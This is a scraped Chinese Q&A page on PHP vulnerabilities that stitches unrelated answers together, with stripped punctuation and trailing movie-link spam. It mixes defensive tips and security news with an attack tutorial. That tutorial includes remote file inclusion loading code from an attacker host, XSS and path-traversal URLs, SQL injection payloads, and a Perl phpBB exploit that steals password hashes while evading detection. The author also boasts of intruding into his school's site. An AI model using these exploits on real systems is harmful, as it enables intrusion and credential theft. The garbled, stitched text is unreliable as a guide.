導航:首頁 > 編程語言 > php源代碼泄露漏洞

php源代碼泄露漏洞

發布時間:2023-02-05 04:24:14

php源碼漏洞多少錢

從現在的網路安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在
很嚴重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.
我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至於
COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多.那麼,我們就一個一個來分析一下怎樣利用這些漏洞吧!
首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由於不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這
些漏洞以WEB進程許可權在系統上執行任意命令.我們來看一個例子假設在a.php中有這樣一句代碼
php
include($include.***.php);
在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交
a.phpinclude=httpwebb.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似於
passthru(binls etc);的代碼.這樣,就可以執行一些有目的的攻擊了.(注web伺服器應該不能執行php代碼,不然就出問題了.相關詳情可以去看
如何對PHP程序中的常見漏洞進行攻擊).在這個漏洞方面,出狀況的很多,比方說PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接著,我們再來看一下腳本命令執行漏洞.這是由於對用戶提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的數據,可導致觸發跨站腳
本攻擊,可能獲得目標用戶的敏感信息。我們也舉個例子在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充
分的過濾,我們可以通過這樣的代碼來達到攻擊的目的
httpwebindex.phpPHPSESSID=script...script在script裡面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了
PHP Transparent之外還有PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然後,我們就來看看文件泄露漏洞了.這種漏洞是由於對用戶提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取
一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊
者提交包含多個'..'字元的數據,便可繞過WEB ROOT限制,以WEB許可權查看系統上的任意文件信息。比方說打入這樣一個地址
export.phpwhat=............etcpasswd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有myPHPNuke,McNews等等.
最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麼爽,以前還要手動注入,一直到小竹悟出SQL注入密笈(嘿
嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點
跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成ASCII,len
改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢不錯,俗話說樹大招分,像動網這樣的論壇在
asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也
是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞
,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.
這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好.
好了,我們還是來分析一下漏洞產生的原因吧.拿viewtopic.php頁面來說,由於在調用viewtopic.php時,直接從GET請求中獲得topic_id並
傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字元串用於獲得MD5密碼,獲得此密碼信息可以用於自動登錄或者
進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議
你看了再對著這里來看,受影響系統為phpBB 2.0.5和phpBB 2.0.4).
# $sql = SELECT p.post_id
# FROM . POSTS_TABLE . p, . SESSIONS_TABLE . s, . USERS_TABLE . u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1;
Rick提供了下面的這斷測試代碼
use IOSocket;
$remote = shift 'localhost';
$view_topic = shift 'phpBB2viewtopic.php';
$uid = shift 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print Trying to get password hash for uid $uid server $remote dbtype $dbtypen;
$p = ;
for($index=1; $index=32; $index++)
{
$socket = IOSocketINET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = tcp,
Type = SOCK_STREAM)
or die Couldnt connect to $remote$port [email=$@n]$@n[/email];
$str = GET $view_topic . sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . HTTP1.0nn;
print $socket $str;
print $socket Cookie phpBB2mysql_sid=1n; # replace this for pgsql or remove it
print $socket Host $remotenn;
while ($answer = $socket)
{
if ($answer =~ location.x23(d+)) # Matches the location viewtopic.phpp=num#num
{
$p .= chr ($1);
}
}
close($socket);
}
print nMD5 Hash for uid $uid is $pn;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $ilength($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) 1000;
if (int($j) % 2 $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return union select ord(substring(user_password, . $index . ,1)) from phpbb_users where user_id=$uid ;
} elsif ($dbtype eq 'pgsql')
{
return ; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users
u where u.user_id=$uid or false;
}
else
{
return ;
}
}
這斷代碼,我就不多做解釋了.作用是獲得HASH值.
看到這里,大家可能有點疑問,為什麼我前面講的那些改的函數怎麼沒有用到,我講出來不怕大家笑話其實網上很多站點有些頁面的查詢語句
看起來會是這樣
display.phpsqlsave=select++from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,這是真的,我還靠這個進過幾個大型網站.至於哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網路中心的看
不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!!
差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,MySQL對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql
資料庫中都不能奏效了. 一般我們常見的注入語句像這樣aaa.phpid=a' into outfile 'pass.txt或是aaa.phpid=a' into outfile 'pass.txt'
再進一步可以改成aaa.phpid=a' or 1=1 union select id,name,password form users into outfile 'ca.txt
這樣可以將資料庫數據導出為文件,然後可以查看.
或是這樣mode=',user_level='4
這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升許可權的做用.
其它的如' OR 1=1 -- 或者1' or 1='1則跟asp差不多.這里不多講了.在php裡面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.
其實大家可以看出來,上面那些分類歸根結底只有一個原因提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這里,就大致講一下
防範的方法吧.
首先,我個人認為最重要的一點是將magic_quotes_gpc高為ON,它的作用是將單引號,雙引號,反斜線,和空字元轉換為含有反斜線的字元,如
select from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字元串將被轉
換成這樣select from admin where username='a' and password='1' or 1='1'從而達到阻止注入的目的,事實也就是自動進行了addslashes
()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因為myslq4以下版本不支持子語句,而新版本的mysql又會
將magic_quotes_gpc選項默認為開.
解決包含文件漏洞用的方法就是要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕
對不能由用戶任意指定,建議設global_variables為off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要
關閉PHP的遠程文件打開功能。修改php.ini文件:allow_url_fopen = Off(注參見PHP安全問題:遠程溢出、DoS、safe_mode繞過漏洞).
還有一點我覺得很多網站都會有這個問題,就是沒有關錯誤顯示.輕一看可能沒什麼,但是一些盯了很久(用詞有點不對哦)的人就可以通過錯
誤提示來獲得如資料庫信息,網頁文件物理路徑等等.

⑵ 計算機掃描出php漏洞如何處理

系統漏洞是指應用軟體或操作系統軟體在邏輯設計上的缺陷或在編寫時產生的錯誤,這個缺陷或錯誤可以被不法者或者電腦黑客利用,通過植入木馬、病毒等方式來攻擊或控制整個電腦,從而竊取您電腦中的重要資料和信息,甚至破壞您的系統。
漏洞原理windows系統漏洞問題是與時間緊密相關的。一個windows系統從發布的那一天起,隨著用戶的深入使用,系統中存在的漏洞會被不斷暴露出來,這些早先被發現的漏洞也會不斷被系統供應商:微軟公司發布的補丁軟體修補,或在以後發布的新版系統中得以糾正。而在新版系統糾正了舊版本中具有漏洞的同時,也會引入一些新的漏洞和錯誤。
因而隨著時間的推移,舊的系統漏洞會不斷消失,新的系統漏洞會不斷出現。系統漏洞問題也會長期存在。
安全公告
2014年2月12日凌晨,微軟發布7個漏洞補丁,包括4個「嚴重」級別的補丁和3個「重要」級別的漏洞。分別修復了Internet Explorer、.Net、Windows中存在的多個漏洞和一個Windows8專屬漏洞。
2014年1月16日,發布1月安全公告,其中4個漏洞補丁級別均為「重要」,它們分別修復了MS Office Word、Windows 7內核和舊版本Windows 內核驅動中存在的多個遠程代碼執行和提權漏洞。同時推送的還有Adobe Flash Player 12的版本更新安裝包及Adobe Reader安全更新。
微軟一般在每月第二周的周二發布安全公告,被稱為「補丁星期二」。
漏洞級別
漏洞按嚴重程度分為「緊急」、「重要」、「警告」、「注意」四種。一般的說,在微軟的網站上定義為重要的都應該及時更新。
漏洞修復
系統自動更新Update,或用電腦管家等安全軟體自動修復。
希望我能幫助你解疑釋惑。

⑶ 如何對php中常見漏洞進行攻擊與防護翻譯

[全局變數]
PHP中的變數不需要事先聲明,它們會在第一次使用時自動創建,它們的類型也不需要指定,它們會根據上下文環境自動確定。從程序員的角度來看,這無疑是一種極其方便的處理方法。很顯然,這也是快速開發語言的一個很有用的特點。一旦一個變數被創建了,就可以在程序中的任何地方使用。這個特點導致的結果就是程序員很少初始化變數,畢竟,當它們第一次創建時,他們是空的。

很顯然,基於PHP的應用程序的主函數一般都是接受用戶的輸入(主要是表單變數,上載文件和Cookie等),然後對輸入數據進行處理,然後把結果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易,實際上PHP是把這些輸入數據看作全局變數來處理的。

例如:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很顯然,這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時,「test.php」會處理用戶的輸入,當「test.php」運行時,「$hello」會包含用戶在文本框輸入的數據。從這里我們應該看出,攻擊者可以按照自己的意願創建任意的全局變數。如果攻擊者不是通過表單輸入來調用「test.php」,而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no,那麼,不止是「$hello」被創建,「$setup」也被創建了。

譯者註:這兩種方法也就是我們通常說的「POST」和「GET」方法。
下面的用戶認證代碼暴露了PHP的全局變數所導致的安全問題:

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

上面的代碼首先檢查用戶的密碼是否為「hello」,如果匹配的話,設置「$auth」為「1」,即通過認證。之後如果「$suth」為「1」的話,就會顯示一些重要信息。

表面看起來是正確的,而且我們中有相當一部分人是這樣做的,但是這段代碼犯了想當然的錯誤,它假定「$auth」在沒有設置值的時候是空的,卻沒有想到攻擊者可以創建任何全局變數並賦值,通過類似「http://server/test.php?auth=1」的方法,我們完全可以欺騙這段代碼,使它相信我們是已經認證過的。

因此,為了提高PHP程序的安全性,我們不能相信任何沒有明確定義的變數。如果程序中的變數很多的話,這可是一項非常艱巨的任務。

一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變數,這依賴於我們的提交方式(GET或POST)。當PHP配置為打開「track_vars」選項的話(這是預設值),用戶提交的變數就可以在全局變數和上面提到的數組中獲得。

但是值得說明的是,PHP有四個不同的數組變數用來處理用戶的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變數,HTTP_POST_VARS數組用於處理POST方式提交的變數,HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變數,而對於HTTP_POST_FILES數組(比較新的PHP才提供),則完全是用戶用來提交變數的一種可選方式。用戶的一個請求可以很容易的把變數存在這四個數組中,因此一個安全的PHP程序應該檢查這四個數組。

[遠程文件]
PHP是一種具有豐富特性的語言,提供了大量的函數,使編程者實現某個功能很容易。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠程文件就是說明這個問題的一個很好的例子:

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>

上面的腳本試圖打開文件「$filename」,如果失敗就顯示錯誤信息。很明顯,如果我們能夠指定「$filename」的話,就能利用這個腳本瀏覽系統中的任何文件。但是,這個腳本還存在一個不太明顯的特性,那就是它可以從任何其它WEB或FTP站點讀取文件。實際上,PHP的大多數文件處理函數對遠程文件的處理是透明的。

例如:
如果指定「$filename」為「http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir」
則上面的代碼實際上是利用主機target上的unicode漏洞,執行了dir命令。

這使得支持遠程文件的include(),require(),include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定文件的內容,並且把它們按照PHP代碼解釋,主要是用在庫文件上。

例如:
<?php
include($libdir . "/languages.php");
?>

上例中「$libdir」一般是一個在執行代碼前已經設置好的路徑,如果攻擊者能夠使得「$libdir」沒有被設置的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問文件languages.php(perl中的「Poison null byte」攻擊對PHP沒有作用)。但是由於有了對遠程文件的支持,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個文件languages.php,包含如下內容:

<?php
passthru("/bin/ls /etc");
?>

⑷ php漏洞怎麼修復

近日,我們SINE安全對metinfo進行網站安全檢測發現,metinfo米拓建站系統存在高危的sql注入漏洞,攻擊者可以利用該漏洞對網站的代碼進行sql注入攻擊,偽造惡意的sql非法語句,對網站的資料庫,以及後端伺服器進行攻擊,該metinfo漏洞影響版本較為廣泛,metinfo6.1.0版本,metinfo 6.1.3版本,metinfo 6.2.0都會受到該網站漏洞的攻擊。

metinfo建站系統使用的PHP語言開發,資料庫採用的是mysql架構開發的,在整體的網站使用過程中,簡單易操作,可視化的對網站外觀進行設計,第三方API介面豐富,模板文件較多,深受企業網站的青睞,建站成本較低可以一鍵搭建網站,目前國內使用metinfo建站的網站數量較多,該metinfo漏洞會使大部分的網站受到攻擊影響,嚴重的網站首頁被篡改,跳轉到其他網站,以及網站被劫持跳轉到惡意網站上,包括網站被掛馬,快照被劫持等情況都會發生。

關於該metinfo漏洞的分析,我們來看下漏洞產生的原因:

該漏洞產生在member會員文件夾下的basic.php代碼文件:

metinfo獨有的設計風格,使用了MVC框架進行設計,該漏洞的主要點在於使用了auth類的調用方式,在解碼加密過程的演算法中出現了問題,我們再來看下代碼:

通常加密,以及解密的演算法是不可以可逆的,但是metinfo寫的代碼可以進行偽造函數值進行逆算,我們看這個構造的惡意函數,這里的key值是從前端met_webkeys值里進行獲取,將獲取到的webkeys值進行寫入,並賦值到配置文件里,config目錄下的config_safe.php代碼里。我們通過查看這個代碼,發現寫入的值沒有辦法進行PHP腳本的執行,本來以為可是偽造key值進行寫入木馬,發現行不通,但是在這個偽造key值的過程可以進行sql注入攻擊,採用是延時注入方式進行

關於metinfo漏洞的修復建議,以及安全方案

目前metinfo最新版本發布是2019年3月28日,6.2.0版本,官方並沒有針對此sql注入漏洞進行修復,建議網站的運營者對網站的後台地址進行更改,管理員的賬號密碼進行更改,更改為數字+字元+大小寫的12位以上的組合方式,對網站的配置文件目錄進行安全限制,去掉PHP腳本執行許可權,如果自己對代碼不是太熟悉,建議找專業的網站安全公司來處理修復漏洞,國內SINE安全,以及綠盟,啟明星辰,都是比較不錯的網站漏洞修復公司。

⑸ ThinkPHP開發框架曝安全漏洞,超過4.5萬家中文網站受影響

據外媒ZDNet報道,近期有超過4.5萬家中文網站被發現容易遭到來自黑客的攻擊,而導致這一安全風險出現的根源僅僅是因為一個ThinkPHP漏洞。

報道稱,有多家網路安全公司在近期都發現了針對運行著基於ThinkPHP的Web應用程序的伺服器的掃描活動。ThinkPHP是一個快速、兼容而且簡單的輕量級國產PHP開發框架,支持Windows/Unix/Linux等伺服器環境,以及MySql、PgSQL、Sqlite多種資料庫和PDO插件,在國內 Web 開發領域非常受歡迎。

另外,所有這些掃描活動都是在網路安全公司VulnSpy將一個ThinkPHP漏洞的概念驗證代碼(PoC)發布到ExploitDB網站上之後開始進行的。這里需要說明的是,ExploitDB是一家提供免費託管漏洞利用代碼的熱門網站。

VulnSpy公司發布的概念驗證代碼利用了一個存在於ThinkPHP開發框架invokeFunction 函數中的漏洞,以在底層伺服器上執行任意代碼。值得注意的是,這個漏洞可以被遠程利用,且允許攻擊者獲得對伺服器的完全控制許可權。

「PoC是在12月11日發布的,我們在不到24小時之後就看到了相關的互聯網掃描。」 網路安全公司Bad Packets LLC的聯合創始人Troy Mursch告訴ZDNet。

隨後,其他四家安全公司——F5 Labs、GreyNoise、NewSky Security和Trend Micro也報道了類似的掃描。並且,這些掃描在接下來的幾天里一直呈上升趨勢。

與此同時,開始利用這個ThinkPHP 漏洞來開展攻擊活動的黑客組織也在不斷增加。到目前為止,被確認的黑客組織至少包括:最初利用該漏洞的攻擊者、一個被安全專家命名為「D3c3mb3r」的黑客組織、以及另一個利用該漏洞傳播Miori IoT惡意軟體的黑客組織。

由Trend Micro檢測到的最後一組數據還表明,旨在傳播Miori IoT惡意軟體的黑客組織似乎想要利用該漏洞來入侵家用路由器和物聯網設備的控制面板,因為Miori無法在實際的Linux伺服器上正常運行。

此外,從NewSky Security檢測到另一組掃描來看,攻擊者試圖在運行著基於ThinkPHP的Web應用程序的伺服器上運行Microsoft Powershell命令。NewSky Security的首席安全研究員Ankit Anubhav告訴ZDNet,「這些Powershell命令看上去有些多餘。實際上,攻擊者擁有的一些代碼完全可以用來檢查操作系統的類型,並為不同的Linux伺服器運行不同的漏洞利用代碼,運行Powershell命令可能只是為了碰碰運氣。」

事實上,最大規模掃描的發起者應該是上述被被安全專家命名為「D3c3mb3r」的黑客組織。但這個組織並沒有做任何特別的事情。他們沒有使用加密貨幣礦工或其他任何惡意軟體來感染伺服器。他們只是掃描易受攻擊的伺服器,然後運行一個基本的「echo hello d3c3mb3r」命令。

Ankit Anubhav告訴ZDNet:「我不確定他們的動機。」

根據Shodan搜索引擎的統計,目前有超過45800台運行著基於ThinkPHP的Web應用程序的伺服器可在線訪問。其中,有超過40000台託管在中國IP地址上。這主要是由於ThinkPHP的文檔僅提供了中文版本,因此不太可能在國外被使用。這也是解釋了為什麼被認為易遭到攻擊的網站大部分都是中文網站。

安全專家認為,隨著越來越多的黑客組織了解到這種入侵 Web 伺服器的方法,對中文網站的攻擊也必然會有所增加。

此外,F5 Labs已經公布了有關這個ThinkPHP 漏洞的技術分析和POC的工作原理,大家可以通過點擊這里進行查看。

本文由 黑客視界 綜合網路整理,圖片源自網路;轉載請註明「轉自黑客視界」,並附上鏈接。

⑹ 發現phpinfo信息泄露漏洞 要怎麼處理

(1)通過修改伺服器環境內php.ini文件,將「expose_php = On」修改成「expose_php = Off」然後重啟php即可。

(2)如果確實需要該測試信息,在測試時使用,測試完畢後將該文件刪除掉。

(3)若無需要可以將一些php的危險函數禁用,打開/etc/php.ini文件,查找到 disable_functions,添加需禁用的以下函數名:

phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,

proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,

symlink,popepassthru,stream_socket_server,fsocket,fsockopen

⑺ php漏洞與代碼審計過程中需要注意的幾點

1.xss + sql注入
其中佔大頭的自然是XSS與SQL注入,對於框架類型或者有公共文件的,建議在公共文件中統一做一次XSS和SQL注入的過濾。寫個過濾函數,可由如下所示:
$_REQUEST = filter_xss($_REQUEST);
$_GET = filter_xss($_GET);
$_POST = filter_xss($_POST);
$_COOKIE = filter_xss($_COOKIE);
$_POST = filter_sql($_POST);
$_GET = filter_sql($_GET);
$_COOKIE = filter_sql($_COOKIE);
$_REQUEST = filter_sql($_REQUEST);
這里有一點需要說明,$_REQUEST雖然等於$_GET+$_POST,但他們是獨立的數組,也就是說假設改變了$_GET的值,但$_REQUEST的值還是原來的值,所以過濾時都不能落下,至於其他的如$_FILE之類的就可忽略了。
最簡單的filter_xss函數是htmlspecialchars()
最簡單的filter_sql函數是mysql_real_escape_string()
當然,誰都知道這種過濾filter_sql只能過濾字元型和搜索型的注入,對於數字型是沒有辦法的,但也說明做了這層過濾後,只需在後面注意數字型的SQL語句就可以了,遇到了加intval過濾就可以了,這就變得容易多了。
2. 命令執行
對於命令執行,可以從關鍵字入手,總共可分為3類
(1) php代碼執行 :eval等
(2)shell命令執行:exec、passthru、system、shell_exec等
(3) 文件處理:fwrite、fopen、mkdir等
對於這幾類需要注意其參數是否用戶可控。
3.上傳漏洞
對於上傳漏洞,也是重點關注的地方,要仔細分析它的處理流程,針對上傳的繞過方式是很多的,最保險的方式:在保存文件是採用文件名隨機命名和後綴白名單方式。其次要注意的一點是上傳文件的地方可能不止一處,不要有遺漏,可能會碰到這樣的情況,突然在某個目錄裡麵包含了一個第三方的編輯器在裡面。
文件包含漏洞涉及的函數如include() 、include_once()、require()、require_once()、file_get_contents()等
最常見的還是出在下載文件功能函數,例如download.php?file=///etc/passwd 這種類型中。
4. 許可權繞過
許可權繞過可分為兩類吧
(1)後台文件的未授權訪問。後台的文件沒有包含對session的驗證,就容易出現這樣的問題
(2)未作用戶隔離,例如mail.php?id=23顯示了你的信件,那麼換個ID, mail.php?id=24就查看到了別人的信件,編寫代碼是方便,把信件都存在一個數據表裡,id統一編號,前端展現時只需按id取出即可,但未作用戶隔離,判定歸屬,容易造成越權訪問。
這樣的例子是很常見的,給某銀行做評估是就經常發現這種漏洞。
5. 信息泄露
信息泄露算是比較低危的漏洞了,比如列目錄這種就屬於部署問題,而與代碼審計無關了,而像暴路徑、暴源碼這種是需要防止的。曾經遇到這樣的代碼
<?php if(empty($_GET['a'])) {…} ?>
表面上似乎沒問題,可是當請求變為 xx.php?a[]=1時,即參數變為數組的時候,就會發生錯誤以致路徑泄露,而用isset判斷則不會,當然一個個防太麻煩,建議在配置文件中關閉錯誤提示,或者在公共文件中加入如下代碼以關閉錯誤顯示功能:
<?php error_reporting(0);?>

⑻ PHP代碼網站如何防範SQL注入漏洞攻擊建議分享

做為網路開發者的你對這種黑客行為恨之入骨,當然也有必要了解一下SQL注入這種功能方式的原理並學會如何通過代碼來保護自己的網站資料庫。今天就通過PHP和MySQL資料庫為例,分享一下我所了解的SQL注入攻擊和一些簡單的防範措施和一些如何避免SQL注入攻擊的建議。
簡單來說,SQL注入是使用代碼漏洞來獲取網站或應用程序後台的SQL資料庫中的數據,進而可以取得資料庫的訪問許可權。比如,黑客可以利用網站代碼的漏洞,使用SQL注入的方式取得一個公司網站後台資料庫里所有的數據信息。拿到資料庫管理員登錄用戶名和密碼後黑客可以自由修改資料庫中的內容甚至刪除該資料庫。SQL注入也可以用來檢驗一個網站或應用的安全性。SQL注入的方式有很多種,但本文將只討論最基本的原理,我們將以PHP和MySQL為例。本文的例子很簡單,如果你使用其它語言理解起來也不會有難度,重點關注SQL命令即可。
一個簡單的SQL注入攻擊案例
假如我們有一個公司網站,在網站的後台資料庫中保存了所有的客戶數據等重要信息。假如網站登錄頁面的代碼中有這樣一條命令來讀取用戶信息。
$q
=
"SELECT
`id`
FROM
`users`
WHERE
`username`=
'
"
.$_GET['username'].
"
'
AND
`password`=
'
"
.$_GET['password'].
"
'
";?>現在有一個黑客想攻擊你的資料庫,他會嘗試在此登錄頁面的用戶名的輸入框中輸入以下代碼:
'
;
SHOW
TABLES;
點擊登陸鍵,這個頁面就會顯示出資料庫中的所有表。如果他現在使用下面這行命令:
';
DROP
TABLE
[table
name];
這樣他就把一張表刪除了!
防範SQL注入
-
使用mysql_real_escape_string()函數
在資料庫操作的代碼中用這個函數mysql_real_escape_string()可以將代碼中特殊字元過濾掉,如引號等。如下例:
$q
=
"SELECT
`id`
FROM
`users`
WHERE
`username`=
'
"
.mysql_real_escape_string(
$_GET['username']
).
"
'
AND
`password`=
'
"
.mysql_real_escape_string(
$_GET['password']
).
"
'
";?>防範SQL注入
-
使用mysql_query()函數
mysql_query()的特別是它將只執行SQL代碼的第一條,而後面的並不會執行。回想在最前面的例子中,黑客通過代碼來例後台執行了多條SQL命令,顯示出了所有表的名稱。所以mysql_query()函數可以取到進一步保護的作用。我們進一步演化剛才的代碼就得到了下面的代碼:
//connection
$database
=
mysql_connect("localhost",
"username","password");
//db
selection
$q
=
mysql_query("SELECT
`id`
FROM
`users`
WHERE
`username`=
'
"
.mysql_real_escape_string(
$_GET['username']
).
"
'
AND
`password`=
'
"
.mysql_real_escape_string(
$_GET['password']
).
"
'
",
$database);?>除此之外,我們還可以在PHP代碼中判斷輸入值的長度,或者專門用一個函數來檢查輸入的值。所以在接受用戶輸入值的地方一定要做好輸入內容的過濾和檢查。當然學習和了解最新的SQL注入方式也非常重要,這樣才能做到有目的的防範。如果使用的是平台式的網站系統如Wordpress,要注意及時打上官方的補丁或升級到新的版本。

⑼ 開源PHP組件漏洞曝光,多個運行CMS系統的網站受影響

據外媒報道,研究人員發現,CMS製造商Typo3開發的開源PHP組件PharStreamWrapper存在安全漏洞, 運行Drupal、Joomla或Typo3內容管理系統的網站均受影響。

據悉,該漏洞由研究人員Daniel Le Gall發現,被命名為Drupalgeddon,編號CVE-2019-11831, 允許黑客使用惡意phar歸檔替換網站的合法歸檔文件。 Drupal開發人員將其標記為中等危險級別,低於近期Drupal漏洞和早期遠程代碼執行漏洞的高危評級。

Drupal官方發布漏洞公告稱,通過構造含有惡意代碼的Phar文件, 黑客可繞過Drupal core7.x、8.x版本PHP組件中針對反序列化保護的攔截器,遠程執行惡意代碼, 影響業務系統安全。

此外,黑客還可能會 開發針對該漏洞的自動化攻擊程序, 植入後門程序進一步釋放礦工程序或DDoS僵屍木馬等惡意軟體,影響網站正常運行。

截至目前,官方已發布安全補丁修復該漏洞, 專家建議網站管理員盡快更新以保護網站。 其中運行Drupal版本8.7的網站需要升級到版本8.7.1,運行8.6或更早版本的網站需要更新到版本8.6.16,運行版本7的網站需要升級到版本7.67,而Joomla需要升級到版本3.9.6。

⑽ php代碼執行漏洞所能造成的危害包括以下哪些內容

假如你的 include 中包含 可變的參數,而且可悲外部修改,例如:
<?phpinclude("inc/".$_GET['file']);這樣的話,就會引發漏洞,用戶可以構造任意參數來讀取你的文件。

閱讀全文

與php源代碼泄露漏洞相關的資料

熱點內容
好看的小電影地址 瀏覽:805
下巴上蛋蛋是什麼電影 瀏覽:204
古代酷刑電影 瀏覽:755
好電影網址 瀏覽:406
3D動漫電影 瀏覽:788
寶書網 小說 瀏覽:899
安卓手機藍牙刷新怎麼設置 瀏覽:4
精彩彩票的app哪裡能下載 瀏覽:22
羅莎卡拉喬洛作品中文名字 瀏覽:404
網吧電影官網 瀏覽:140
php環境模擬 瀏覽:921
伺服器配置http下載地址 瀏覽:938
多少個吉姆電影 瀏覽:552
活塞式壓縮機安裝 瀏覽:698
男主角一開始是保安的小說 瀏覽:802
大尺度床戲男全裸 瀏覽:813
免費看的韓國愛情片 瀏覽:385
大湘娛樂源碼 瀏覽:895
黃飛鴻笑傳粵語在線播放 瀏覽:401
日本恐怖電影公交車被砍成兩半 瀏覽:957